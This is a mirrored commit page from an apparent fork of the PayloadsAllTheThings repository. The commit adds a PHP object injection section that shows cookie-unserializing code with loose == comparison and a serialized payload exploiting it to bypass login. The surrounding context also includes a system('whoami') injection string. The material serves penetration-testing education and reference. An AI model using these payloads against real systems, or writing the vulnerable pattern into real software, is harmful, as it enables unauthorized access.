mirror of
https://github.com/weyne85/PayloadsAllTheThings.git
synced 2025-10-29 16:57:02 +00:00
add auth bypass
This commit is contained in:
parent
1a1a48c725
commit
d49e40b1b2
@ -43,6 +43,29 @@ string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}
|
|||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Authentication bypass
|
||||||
|
|
||||||
|
Vulnerable code:
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$data = unserialize($_COOKIE['auth']);
|
||||||
|
|
||||||
|
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
|
||||||
|
$admin = true;
|
||||||
|
} else {
|
||||||
|
$admin = false;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Payload:
|
||||||
|
|
||||||
|
```
|
||||||
|
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
|
||||||
|
```
|
||||||
|
|
||||||
|
Because `true == "str"` is true. Ref: [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
|
||||||
|
|
||||||
## Others exploits
|
## Others exploits
|
||||||
|
|
||||||
Reverse Shell
|
Reverse Shell
|
||||||
@ -74,4 +97,4 @@ echo urlencode(serialize(new PHPObjectInjection));
|
|||||||
## Thanks to
|
## Thanks to
|
||||||
|
|
||||||
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
|
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
|
||||||
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
|
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user